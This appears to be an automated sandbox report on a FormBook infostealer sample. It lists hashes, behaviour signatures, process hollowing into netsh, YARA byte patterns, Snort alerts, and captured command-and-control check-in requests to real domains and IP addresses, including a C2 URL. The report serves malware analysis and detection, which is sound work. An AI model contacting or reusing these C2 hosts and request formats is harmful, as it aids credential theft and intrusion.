Edit tour

Windows Analysis Report
qHpeBvr9cR.exe

Overview

General Information

Sample Name:	qHpeBvr9cR.exe
Analysis ID:	756313
MD5:	f5bea76ffac05afbe19274595801184e
SHA1:	93ef457bfcbc5f0860b1b7f6353ed6e9b0afd60e
SHA256:	40dcfb704112265b383679baa3064cd7355bd02119b117f396e1b0283342362c
Tags:	32exeFormbooktrojan
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Sample uses process hollowing technique

Tries to steal Mail credentials (via file / registry access)

Maps a DLL or memory area into another process

Uses netsh to modify the Windows network and firewall settings

Machine Learning detection for sample

Queues an APC in another process (thread injection)

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Contains functionality to read the clipboard data

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Enables debug privileges

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Contains functionality to retrieve information about pressed keystrokes

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64

qHpeBvr9cR.exe (PID: 5588 cmdline: C:\Users\user\Desktop\qHpeBvr9cR.exe MD5: F5BEA76FFAC05AFBE19274595801184E)

febcldoukq.exe (PID: 5816 cmdline: "C:\Users\user\AppData\Local\Temp\febcldoukq.exe" C:\Users\user\AppData\Local\Temp\uebzn.cef MD5: 96E050F99502FE7C52FD9B0F10202578)

febcldoukq.exe (PID: 5828 cmdline: "C:\Users\user\AppData\Local\Temp\febcldoukq.exe" C:\Users\user\AppData\Local\Temp\uebzn.cef MD5: 96E050F99502FE7C52FD9B0F10202578)

explorer.exe (PID: 3324 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

autochk.exe (PID: 3624 cmdline: C:\Windows\SysWOW64\autochk.exe MD5: 34236DB574405291498BCD13D20C42EB)

netsh.exe (PID: 5920 cmdline: C:\Windows\SysWOW64\netsh.exe MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.brennancorps.info/henz/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6611:$a1: 3C 30 50 4F 53 54 74 09 40 0x1f070:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa8bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x17df7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x17bf5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x176a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x17cf7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x17e6f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa48a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x168ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1dde7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1edda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x1a0e9:$sqlite3step: 68 34 1C 7B E1 0x1ac61:$sqlite3step: 68 34 1C 7B E1 0x1a12b:$sqlite3text: 68 38 2A 90 C5 0x1aca6:$sqlite3text: 68 38 2A 90 C5 0x1a142:$sqlite3blob: 68 53 D8 7F 8C 0x1acbc:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6611:$a1: 3C 30 50 4F 53 54 74 09 40 0x1f070:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa8bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x17df7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x17bf5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x176a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x17cf7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x17e6f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa48a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x168ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1dde7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1edda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x1a0e9:$sqlite3step: 68 34 1C 7B E1 0x1ac61:$sqlite3step: 68 34 1C 7B E1 0x1a12b:$sqlite3text: 68 38 2A 90 C5 0x1aca6:$sqlite3text: 68 38 2A 90 C5 0x1a142:$sqlite3blob: 68 53 D8 7F 8C 0x1acbc:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6611:$a1: 3C 30 50 4F 53 54 74 09 40 0x1f070:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa8bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x17df7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x17bf5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x176a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x17cf7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x17e6f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa48a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x168ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1dde7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1edda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x1a0e9:$sqlite3step: 68 34 1C 7B E1 0x1ac61:$sqlite3step: 68 34 1C 7B E1 0x1a12b:$sqlite3text: 68 38 2A 90 C5 0x1aca6:$sqlite3text: 68 38 2A 90 C5 0x1a142:$sqlite3blob: 68 53 D8 7F 8C 0x1acbc:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6611:$a1: 3C 30 50 4F 53 54 74 09 40 0x1f070:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa8bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x17df7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x17bf5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x176a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x17cf7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x17e6f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa48a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x168ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1dde7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1edda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x1a0e9:$sqlite3step: 68 34 1C 7B E1 0x1ac61:$sqlite3step: 68 34 1C 7B E1 0x1a12b:$sqlite3text: 68 38 2A 90 C5 0x1aca6:$sqlite3text: 68 38 2A 90 C5 0x1a142:$sqlite3blob: 68 53 D8 7F 8C 0x1acbc:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6611:$a1: 3C 30 50 4F 53 54 74 09 40 0x1f070:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa8bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x17df7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x17bf5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x176a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x17cf7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x17e6f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa48a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x168ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1dde7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1edda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x1a0e9:$sqlite3step: 68 34 1C 7B E1 0x1ac61:$sqlite3step: 68 34 1C 7B E1 0x1a12b:$sqlite3text: 68 38 2A 90 C5 0x1aca6:$sqlite3text: 68 38 2A 90 C5 0x1a142:$sqlite3blob: 68 53 D8 7F 8C 0x1acbc:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x10070:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x8df7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8bf5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x86a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x8cf7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x8e6f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x78ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xede7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xfdda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0xb0e9:$sqlite3step: 68 34 1C 7B E1 0xbc61:$sqlite3step: 68 34 1C 7B E1 0xb12b:$sqlite3text: 68 38 2A 90 C5 0xbca6:$sqlite3text: 68 38 2A 90 C5 0xb142:$sqlite3blob: 68 53 D8 7F 8C 0xbcbc:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x7d48:$a1: 3C 30 50 4F 53 54 74 09 40 0x207a7:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xbff6:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x1952e:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x1932c:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x18dd8:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x1942e:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x195a6:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xbbc1:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x18023:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1f51e:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x20511:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x1b820:$sqlite3step: 68 34 1C 7B E1 0x1c398:$sqlite3step: 68 34 1C 7B E1 0x1b862:$sqlite3text: 68 38 2A 90 C5 0x1c3dd:$sqlite3text: 68 38 2A 90 C5 0x1b879:$sqlite3blob: 68 53 D8 7F 8C 0x1c3f3:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x10070:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x8df7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8bf5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x86a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x8cf7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x8e6f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x78ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xede7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xfdda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0xb0e9:$sqlite3step: 68 34 1C 7B E1 0xbc61:$sqlite3step: 68 34 1C 7B E1 0xb12b:$sqlite3text: 68 38 2A 90 C5 0xbca6:$sqlite3text: 68 38 2A 90 C5 0xb142:$sqlite3blob: 68 53 D8 7F 8C 0xbcbc:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: febcldoukq.exe PID: 5828	Windows_Trojan_Formbook_1112e116	unknown	unknown	0xc57a9:$a1: 3C 30 50 4F 53 54 74 09 40 0xfe644:$a1: 3C 30 50 4F 53 54 74 09 40
Process Memory Space: netsh.exe PID: 5920	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x39f7c:$a1: 3C 30 50 4F 53 54 74 09 40 0x3dcde:$a1: 3C 30 50 4F 53 54 74 09 40 0xc9a83:$a1: 3C 30 50 4F 53 54 74 09 40
Click to see the 29 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.febcldoukq.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
2.2.febcldoukq.exe.400000.0.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x7d48:$a1: 3C 30 50 4F 53 54 74 09 40 0x207a7:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xbff6:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x1952e:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
2.2.febcldoukq.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x1932c:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x18dd8:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x1942e:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x195a6:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xbbc1:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x18023:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1f51e:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x20511:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.2.febcldoukq.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x1b820:$sqlite3step: 68 34 1C 7B E1 0x1c398:$sqlite3step: 68 34 1C 7B E1 0x1b862:$sqlite3text: 68 38 2A 90 C5 0x1c3dd:$sqlite3text: 68 38 2A 90 C5 0x1b879:$sqlite3blob: 68 53 D8 7F 8C 0x1c3f3:$sqlite3blob: 68 53 D8 7F 8C
2.2.febcldoukq.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
2.2.febcldoukq.exe.400000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6f48:$a1: 3C 30 50 4F 53 54 74 09 40 0x1f9a7:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xb1f6:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x1872e:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
2.2.febcldoukq.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x1852c:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x17fd8:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x1862e:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x187a6:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xadc1:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x17223:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1e71e:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1f711:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.2.febcldoukq.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x1aa20:$sqlite3step: 68 34 1C 7B E1 0x1b598:$sqlite3step: 68 34 1C 7B E1 0x1aa62:$sqlite3text: 68 38 2A 90 C5 0x1b5dd:$sqlite3text: 68 38 2A 90 C5 0x1aa79:$sqlite3blob: 68 53 D8 7F 8C 0x1b5f3:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 3 entries

Snort Signatures

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 206.233.197.135

Timestamp:	192.168.2.5206.233.197.13549710802031453 11/30/22-01:10:42.253815
SID:	2031453
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 162.214.129.149

Timestamp:	192.168.2.5162.214.129.14949712802031453 11/30/22-01:10:50.366888
SID:	2031453
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 206.233.197.135

Timestamp:	192.168.2.5206.233.197.13549710802031449 11/30/22-01:10:42.253815
SID:	2031449
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 162.214.129.149

Timestamp:	192.168.2.5162.214.129.14949712802031412 11/30/22-01:10:50.366888
SID:	2031412
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 206.233.197.135

Timestamp:	192.168.2.5206.233.197.13549710802031412 11/30/22-01:10:42.253815
SID:	2031412
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 162.214.129.149

Timestamp:	192.168.2.5162.214.129.14949712802031449 11/30/22-01:10:50.366888
SID:	2031449
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /henz/ HTTP/1.1Host: www.lyonfinancialusa.comConnection: closeContent-Length: 189Cache-Control: no-cacheOrigin: http://www.lyonfinancialusa.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.lyonfinancialusa.com/henz/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 43 68 4d 78 47 34 43 3d 46 5f 54 33 34 4d 43 59 37 4c 4c 6c 35 30 36 46 70 55 6d 45 4c 6d 56 30 6d 31 6d 41 7e 59 47 31 45 72 5a 72 7a 51 72 43 4f 57 4d 4c 57 30 50 39 66 6d 38 71 30 51 56 44 6d 5a 39 4b 58 4c 58 59 43 47 67 65 67 44 28 54 4b 77 71 30 79 6a 6f 58 48 68 65 62 75 32 37 65 5a 42 62 45 69 45 6b 62 33 42 53 6a 35 64 4f 6e 57 42 38 78 4b 44 71 48 63 52 32 4b 48 38 32 37 68 43 41 6c 51 79 65 4e 57 59 50 55 32 4c 59 59 6e 75 74 6f 58 35 49 43 7a 65 73 58 73 41 4b 7a 4d 4c 79 53 41 5f 6b 2d 45 50 64 50 77 38 64 65 49 50 47 6b 52 4f 65 51 4c 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: ChMxG4C=F_T34MCY7LLl506FpUmELmV0m1mA~YG1ErZrzQrCOWMLW0P9fm8q0QVDmZ9KXLXYCGgegD(TKwq0yjoXHhebu27eZBbEiEkb3BSj5dOnWB8xKDqHcR2KH827hCAlQyeNWYPU2LYYnutoX5ICzesXsAKzMLySA_k-EPdPw8deIPGkROeQLw).

Source: unknown

DNS traffic detected: queries for: www.eufidelizo.com

Source: global traffic	HTTP traffic detected: GET /henz/?ChMxG4C=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692MpWFmEiKCsF21Xzw==&8p08qr=2d0X HTTP/1.1Host: www.eufidelizo.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /henz/?ChMxG4C=I97X75yj3reE70KD0jnZLHprtk7Ny9G/KKFZ2xPoakAfOE75REIszhxIs75pfZv/CVEdhBuwKxvuqF4TRlzZl0jGQ0nXo34yzw==&8p08qr=2d0X HTTP/1.1Host: www.lyonfinancialusa.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /henz/?ChMxG4C=8TptbrIX6F4NxrWdTDNRTBReo0fMEuELv5cUeaX5N5UPFd9Hxy/eTVHt8QapNK2qZdoBzpjQ3MhBnX7XpU/ZSQN3PeXGVgYZcA==&8p08qr=2d0X HTTP/1.1Host: www.afterdarksocial.clubConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /henz/?ChMxG4C=5p9Ov6C7qce51hIp6D8A72je8vUJddN77lLEFw6Ufibk2yN56suG3zROnD+rS7baXFO6PfoGYvZY6sqA3kYBdz817Owqh44+wA==&8p08qr=2d0X HTTP/1.1Host: www.patrickguarte.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe

Code function: 1_2_00B1ACA0 OpenClipboard,GetClipboardData,GlobalLock,GlobalSize,VkKeyScanW,MapVirtualKeyW,GlobalUnlock,CloseClipboard,

1_2_00B1ACA0

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe

Code function: 1_2_00B1B830 GetKeyboardState,

1_2_00B1B830

Source: C:\Users\user\Desktop\qHpeBvr9cR.exe

Code function: 0_2_00405125 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405125

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 2.2.febcldoukq.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.febcldoukq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
